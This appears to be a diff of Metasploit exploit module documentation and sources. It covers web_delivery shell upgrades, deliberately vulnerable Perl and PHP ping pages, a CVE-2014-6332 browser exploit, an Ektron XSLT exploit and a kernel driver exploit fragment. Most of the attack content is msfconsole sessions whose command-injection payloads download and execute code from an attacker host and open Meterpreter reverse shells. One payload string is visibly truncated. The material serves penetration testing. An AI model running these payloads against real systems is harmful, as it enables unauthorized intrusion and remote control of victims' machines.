2. Use [Burp Suite](https://portswigger.net/burp/) to intercept the HTTP/HTTPS request, place the command in the parameter that results in arbitrary code execution.
|
||||
3. Hopefully the modified HTTP/HTTPS request is successful, and you should get a session.
|
||||
3. If the modified HTTP/HTTPS request is successful, you should get a session.
|
||||
|
||||
**Shell upgrade**
|
||||
|
||||
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one.
|
||||
web_delivery is also useful to upgrade a shell type payload to a Meterpreter one. Here's how that can be done:
|
||||
|
||||
Here's how that can be done:
|
||||
|
||||
1. Start exploit/multi/script/web_delivery that generates/
|
||||
2. In msfconsole, interact with the shell, and copy/paste the command.
|
||||
1. Start `exploit/multi/script/web_delivery` that generates the command to inject.
|
||||
2. Interact with the shell, and copy/paste the command.
|
||||
3. You should get a Meterpreter session.
|
||||
|
||||
An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through `auxialiary/scanner/ssh/ssh_login`, and then upgraded via `web_delivery`.
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set rhosts 192.168.2.156
|
||||
rhosts => 192.168.2.156
|
||||
msf auxiliary(ssh_login) > set username ubuntu
|
||||
username => ubuntu
|
||||
msf auxiliary(ssh_login) > set password ubuntu
|
||||
password => ubuntu
|
||||
msf auxiliary(ssh_login) > run
|
||||
|
||||
[*] SSH - Starting bruteforce
|
||||
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
|
||||
[!] No active DB -- Credential data will not be saved!
|
||||
[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery
|
||||
msf exploit(web_delivery) > set lhost 192.168.2.117
|
||||
lhost => 192.168.2.117
|
||||
msf exploit(web_delivery) > run
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/DovbvqRaB
|
||||
[*] Local IP: http://192.168.2.117:8080/DovbvqRaB
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
|
||||
msf exploit(web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());"
|
||||
[*] 192.168.2.156 web_delivery - Delivering Payload
|
||||
[*] Sending stage (38500 bytes) to 192.168.2.156
|
||||
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500
|
||||
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
|
||||
msf exploit(web_delivery) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : Ubuntu14
|
||||
OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Vulnerable Pages
|
||||
|
||||
### Perl cgi
|
||||
|
||||
These instructions will create a cgi environment and a vulnerable perl application for exploitation. We used Kali rolling (2016.2) for this tutorial.
|
||||
|
||||
#### Setup
|
||||
|
||||
In this example, we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner.
|
||||
|
||||
1. Enable cgi: `a2enmod cgid`
|
||||
2. `mkdir /var/www/cgi-bin`
|
||||
3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags
|
||||
4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`:
|
||||
|
||||
```
|
||||
#!/usr/bin/perl
|
||||
use CGI qw(:standard);
|
||||
$query = new CGI;
|
||||
print $query->header( -type=> "text/html"),
|
||||
$query->start_html();
|
||||
$query->import_names( 'Q' );
|
||||
if ( $Q::ip ) {
|
||||
print `ping -c 1 $Q::ip`, "<hr>";
|
||||
}
|
||||
print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED),
|
||||
$query->p("Enter IP to ping:"),
|
||||
$query->textfield(-name=>"ip"), #, -id=>"ip"),
|
||||
$query->submit(-name=>"submit"),
|
||||
$query->end_form(),
|
||||
$query->end_html();
|
||||
```
|
||||
|
||||
5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl`
|
||||
|
||||
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
||||
|
||||
`curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
||||
|
||||
or via GET request:
|
||||
|
||||
`curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"` (note url encoding)
|
||||
|
||||
```
|
||||
<!DOCTYPE html
|
||||
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
|
||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
|
||||
<head>
|
||||
<title>Untitled Document</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
|
||||
</head>
|
||||
<body>
|
||||
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
||||
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.030 ms
|
||||
|
||||
--- 127.0.0.1 ping statistics ---
|
||||
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
||||
rtt min/avg/max/mdev = 0.030/0.030/0.030/0.000 ms
|
||||
www-data
|
||||
<hr><form method="post" action="/cgi-bin/example.pl" enctype="application/x-www-form-urlencoded" name="ping"><p>Enter IP to ping:</p><input type="text" name="ip" value="127.0.0.1;whoami" /><input type="submit" name="submit" value="submit" /></form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Exploitation
|
||||
|
||||
1. `use exploit/multi/script/web_delivery`
|
||||
2. `set lhost 192.168.2.117`
|
||||
3. `exploit`
|
||||
```
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/vNPlsjE
|
||||
[*] Local IP: http://192.168.2.117:8080/vNPlsjE
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/vNPlsjE'); exec(r.read());"
|
||||
msf exploit(web_delivery) >
|
||||
```
|
||||
Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful.
|
||||
```
|
||||
[*] 192.168.2.117 web_delivery - Delivering Payload
|
||||
[*] Sending stage (38500 bytes) to 192.168.2.117
|
||||
[*] Meterpreter session 1 opened (192.168.2.117:4444 -> 192.168.2.117:47660) at 2017-03-04 14:52:38 -0500
|
||||
```
|
||||
|
||||
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
||||
```
|
||||
msf exploit(web_delivery) > exploit
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
||||
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
||||
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
||||
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;python -c \"import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());\"&submit=submit"
|
||||
|
||||
% Total % Received % Xferd Average Speed Time Time Time Current
|
||||
Dload Upload Total Spent Left Speed
|
||||
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
|
||||
[*] 192.168.2.117 web_delivery - Delivering Payload
|
||||
[*] Sending stage (38500 bytes) to 192.168.2.117
|
||||
[*] Meterpreter session 4 opened (192.168.2.117:4444 -> 192.168.2.117:47688) at 2017-03-04 15:02:35 -0500
|
||||
100 1172 0 981 100 191 233 45 0:00:04 0:00:04 --:--:-- 233
|
||||
100 1172 0 981 100 191 158 30 0:00:06 0:00:06 --:--:-- 0^CInterrupt: use the 'exit' command to quit
|
||||
msf exploit(web_delivery) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Type Information Connection
|
||||
-- ---- ----------- ----------
|
||||
4 meterpreter python/linux www-data @ k 192.168.2.117:4444 -> 192.168.2.117:47688 (192.168.2.117)
|
||||
```
|
||||
|
||||
### PHP
|
||||
|
||||
In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner.
|
||||
|
||||
1. Enable cgi: `a2enmod php7.0`
|
||||
2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`:
|
||||
|
||||
```
|
||||
<html>
|
||||
<body>
|
||||
<?php
|
||||
if ($_POST["ip"]){
|
||||
print( shell_exec('ping -c 1 '.$_POST["ip"]) . "<hr>");
|
||||
}
|
||||
print("<form method=\"post\"
|
||||
action=\"/example.php\"
|
||||
enctype=\"application/x-www-form-urlencoded\"
|
||||
name=\"ping\">
|
||||
<p>Enter IP to ping:</p><input type=\"text\" name=\"ip\" value=\"\" />
|
||||
<input type=\"submit\" name=\"submit\" value=\"submit\" /></form>");
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`.
|
||||
|
||||
`curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"`
|
||||
|
||||
```
|
||||
<html>
|
||||
<body>
|
||||
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
|
||||
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.016 ms
|
||||
|
||||
--- 127.0.0.1 ping statistics ---
|
||||
1 packets transmitted, 1 received, 0% packet loss, time 0ms
|
||||
rtt min/avg/max/mdev = 0.016/0.016/0.016/0.000 ms
|
||||
www-data
|
||||
<hr><form method="post"
|
||||
action="/example.php"
|
||||
enctype="application/x-www-form-urlencoded"
|
||||
name="ping">
|
||||
<p>Enter IP to ping:</p><input type="text" name="ip" value="" />
|
||||
<input type="submit" name="submit" value="submit" /></form> </body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### Exploitation
|
||||
|
||||
1. `use exploit/multi/script/web_delivery`
|
||||
2. `set lhost 192.168.2.117`
|
||||
3. `set target 1`
|
||||
4. `set payload php/meterpreter/reverse_tcp`
|
||||
5. `exploit`
|
||||
```
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/de3uw0
|
||||
[*] Local IP: http://192.168.2.117:8080/de3uw0
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"
|
||||
msf exploit(web_delivery) >
|
||||
```
|
||||
Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful.
|
||||
```
|
||||
[*] 192.168.2.117 web_delivery - Delivering Payload
|
||||
[*] Sending stage (33986 bytes) to 192.168.2.117
|
||||
[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.117:48138) at 2017-03-04 15:36:31 -0500
|
||||
```
|
||||
|
||||
or we can exploit via curl after escaping the double quotes. Note we use `--data-urlencode` to automatically encode for us:
|
||||
```
|
||||
msf exploit(web_delivery) > exploit
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.117:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/OKNzr8B59zWp
|
||||
[*] Local IP: http://192.168.2.117:8080/OKNzr8B59zWp
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/OKNzr8B59zWp'); exec(r.read());"
|
||||
msf exploit(web_delivery) > curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
||||
[*] exec: curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;php -d allow_url_fopen=true -r \"eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));\"&submitsubmit"
|
||||
|
||||
% Total % Received % Xferd Average Speed Time Time Time Current
|
||||
Dload Upload Total Spent Left Speed
|
||||
100 490 0 329 100 161 11490 5623 --:--:-- --:--:-- --:--:-- 11344
|
||||
[*] 192.168.2.117 web_delivery - Delivering Payload
|
||||
[*] Sending stage (33986 bytes) to 192.168.2.117
|
||||
[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500
|
||||
100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit
|
||||
```
|
||||
|
|
|
@ -0,0 +1,97 @@
|
|||
## Vulnerable Application
|
||||
|
||||
This module exploits the Windows OLE Automation array vulnerability, [CVE-2014-6332](https://www.cvedetails.com/cve/cve-2014-6332). The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 boxes. This is because from Windows 8 upward Internet Explorer blocks the payload from executing. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: ```use exploit/windows/browser/ms14_064_ole_code_execution```
|
||||
1. Do: ```Choose a payload and set any specific options```
|
||||
1. Do: ```run```, after a target browses to the generated URL, you should receive a session.
|
||||
|
||||
## Options
|
||||
|
||||
**TRYUAC**
|
||||
|
||||
Ask victim to start as Administrator. This option only works on Windows 7 targets.
|
||||
|
||||
**AllowPowershellPrompt**
|
||||
|
||||
Allow exploit to try Powershell. If exploiting a Windows 7 target you need to enable this option.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows XP Pro SP3 x86 with IE 8.0.6001.18702
|
||||
|
||||
The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.207`.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/browser/ms14_064_ole_code_execution
|
||||
msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3
|
||||
LHOST => 192.168.2.3
|
||||
msf exploit(ms14_064_ole_code_execution) > run
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.3:4444
|
||||
msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/hGA1Ux
|
||||
[*] Local IP: http://192.168.2.3:8080/hGA1Ux
|
||||
[*] Server started.
|
||||
[*] 192.168.2.207 ms14_064_ole_code_execution - Gathering target information for 192.168.2.207
|
||||
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.207
|
||||
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending exploit...
|
||||
[*] 192.168.2.207 ms14_064_ole_code_execution - Sending VBS stager
|
||||
[*] Sending stage (957487 bytes) to 192.168.2.207
|
||||
[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.207:1299) at 2017-03-01 19:07:12 +0100
|
||||
|
||||
msf exploit(ms14_064_ole_code_execution) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : MACHINE
|
||||
OS : Windows XP (Build 2600, Service Pack 3).
|
||||
Architecture : x86
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
### Windows 7 Pro SP1 x64 with IE 8.0.7601.17514
|
||||
|
||||
The attacker's IP is `192.168.2.3` and the victim's IP is `192.168.2.208`. Unlike on the Windows XP, target victim will see a popup dialog apear and they will have to allow the execution of the PowerShell script for the exploit to work. You need to set `AllowPowershellPrompt` option to `true` otherwise the exploit won't work on Windows 7.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/browser/ms14_064_ole_code_execution
|
||||
msf exploit(ms14_064_ole_code_execution) > set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/meterpreter/reverse_tcp
|
||||
msf exploit(ms14_064_ole_code_execution) > set LHOST 192.168.2.3
|
||||
LHOST => 192.168.2.3
|
||||
msf exploit(ms14_064_ole_code_execution) > set AllowPowershellPrompt true
|
||||
AllowPowershellPrompt => true
|
||||
msf exploit(ms14_064_ole_code_execution) > run
|
||||
[*] Exploit running as background job.
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.2.3:4444
|
||||
msf exploit(ms14_064_ole_code_execution) > [*] Using URL: http://0.0.0.0:8080/6tdgNjLVij3zs
|
||||
[*] Local IP: http://192.168.2.3:8080/6tdgNjLVij3zs
|
||||
[*] Server started.
|
||||
[*] 192.168.2.208 ms14_064_ole_code_execution - Gathering target information for 192.168.2.208
|
||||
[*] 192.168.2.208 ms14_064_ole_code_execution - Sending HTML response to 192.168.2.208
|
||||
[*] 192.168.2.208 ms14_064_ole_code_execution - Sending exploit...
|
||||
[*] Sending stage (957487 bytes) to 192.168.2.208
|
||||
[*] Meterpreter session 1 opened (192.168.2.3:4444 -> 192.168.2.208:49197) at 2017-03-01 19:35:12 +0100
|
||||
|
||||
msf exploit(ms14_064_ole_code_execution) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WINDOWS7_X64
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
```
|
|
@ -0,0 +1,72 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Ektron Content Management System (CMS)](http://www.episerver.com/cms/ektron/) 8.0, 8.5, and 8.7 before 8.7sp2 and 9.0 before sp1 (according to CVE-2015-0923)
|
||||
|
||||
Ektron has been acquired by Epi Server and finding installers may prove difficult.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
But if you can build a test network the following may be used to verify:
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/windows/http/ektron_xslt_exec_ws```
|
||||
4. Do: ```set RHOST [target ip]```
|
||||
5. Do: ```check```
|
||||
6. You should receive a target vulnerable message.
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
In our experience testing against 64 bit hosts should still pass the 'check' in step 6 and return a target vulnerable message. But when injecting shellcode into a new thread it may require the tester to adjust the payload as well. This may be done as follows:
|
||||
|
||||
1. Do ```set PAYLOAD windows/x64/meterpreter```
|
||||
|
||||
## Options
|
||||
|
||||
These are important but perhaps less-used options. There are quite a few other 'web' options available which will not be discussed due to their generality.
|
||||
|
||||
**TARGETOP**
|
||||
|
||||
There are multiple operations which are vulnerable to this XSLT bug. We have enumerated more (likely all) of the operations in ServerControlWS.asmx and provide testers with the ability to test the additional operations by setting this option to one of the following: ContentBlockEx, GetContentFlaggingString,GetMessagingString, GetBookmarkString, GetContentRatingString
|
||||
|
||||
This value defaults to ContentBlockEx (from the original reports). Testers may find adjusting this value useful if defenders have included Web Application Firewall (WAF) rules to specifically filter ContentBlockEx as a mitigation in lieu of updating.
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
This allows the tester to adjust the base-installation path. The default value is '/cms400min' but in our experience many deployments are simply the root path '/'.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Checking if a target is vulnerable.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/http/ektron_xslt_exec_ws
|
||||
msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175
|
||||
RHOST => 192.168.1.175
|
||||
msf exploit(ektron_xslt_exec_ws) > check
|
||||
[+] 192.168.1.175:80 The target is vulnerable
|
||||
msf exploit(ektron_xslt_exec_ws) >
|
||||
```
|
||||
|
||||
Exploiting a Win7 x64 installation to obtain shell.
|
||||
|
||||
```
|
||||
msf > use exploit/windows/http/ektron_xslt_exec_ws
|
||||
msf exploit(ektron_xslt_exec_ws) > set RHOST 192.168.1.175
|
||||
RHOST => 192.168.1.175
|
||||
msf exploit(ektron_xslt_exec_ws) > check
|
||||
[+] 192.168.1.175:80 The target is vulnerable.
|
||||
msf exploit(ektron_xslt_exec_ws) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf exploit(ektron_xslt_exec_ws) > set LHOST 192.168.1.50
|
||||
LHOST => 192.168.1.50
|
||||
msf exploit(ektron_xslt_exec_ws) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.50:4444
|
||||
[*] Generating the EXE Payload and the XSLT...
|
||||
[*] Trying to run the xslt transformation...
|
||||
[+] Exploitation was successful
|
||||
[*] Sending stage (1189423 bytes) to 192.168.1.175
|
||||
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.175:49169) at 2016-10-30 04:36:50 +0000
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -3,14 +3,7 @@
|
|||
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
#include "kernel.h"
|
||||
|
||||
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD WINAPI capcom_sys_exec(LPVOID lpPayload)
|
||||
DWORD capcom_sys_exec(LPVOID lpPayload)
|
||||
{
|
||||
const DWORD PwnControlCode = 0xAA013044;
|
||||
HANDLE driver = INVALID_HANDLE_VALUE;
|
||||
|
|
|
@ -0,0 +1,151 @@
|
|||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
|
||||
# User-specific files
|
||||
*.suo
|
||||
*.user
|
||||
*.sln.docstates
|
||||
|
||||
# Build results
|
||||
|
||||
[Dd]ebug/
|
||||
[Rr]elease/
|
||||
x64/
|
||||
build/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
|
||||
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||
!packages/*/build/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
*_i.c
|
||||
*_p.c
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.log
|
||||
*.scc
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# NCrunch
|
||||
*.ncrunch*
|
||||
.*crunch*.local.xml
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.Publish.xml
|
||||
*.pubxml
|
||||
|
||||
# NuGet Packages Directory
|
||||
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||
#packages/
|
||||
|
||||
# Windows Azure Build Output
|
||||
csx
|
||||
*.build.csdef
|
||||
|
||||
# Windows Store app package directory
|
||||
AppPackages/
|
||||
|
||||
# Others
|
||||
sql/
|
||||
*.Cache
|
||||
ClientBin/
|
||||
[Ss]tyle[Cc]op.*
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.[Pp]ublish.xml
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file to a newer
|
||||
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
|
||||
# SQL Server files
|
||||
App_Data/*.mdf
|
||||
App_Data/*.ldf
|
||||
|
||||
# =========================
|
||||
# Windows detritus
|
||||
# =========================
|
||||
|
||||
# Windows image file caches
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Mac crap
|
||||
.DS_Store
|
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" standalone="yes"?>
|
||||
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<SolutionPath>.\windows-lpe-template.sln</SolutionPath>
|
||||
</PropertyGroup>
|
||||
|
||||
<Target Name="all" DependsOnTargets="x86;x64" />
|
||||
|
||||
<Target Name="x86">
|
||||
<Message Text="Building windows-lpe-template x86 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=win32" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
|
||||
<Target Name="x64">
|
||||
<Message Text="Building windows-lpe-template x64 Release version" />
|
||||
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
|
||||
</Target>
|
||||
</Project>
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.40629.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "windows-lpe-template", "windows-lpe-template\windows-lpe-template.vcxproj", "{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|Win32.Build.0 = Release|Win32
|
||||
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.ActiveCfg = Release|x64
|
||||
{A67BA207-7AAC-4850-BEB1-E7FA07BAC0B1}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
88
external/source/exploits/windows-lpe-template/windows-lpe-template/exploit.c
vendored
Executable file
88
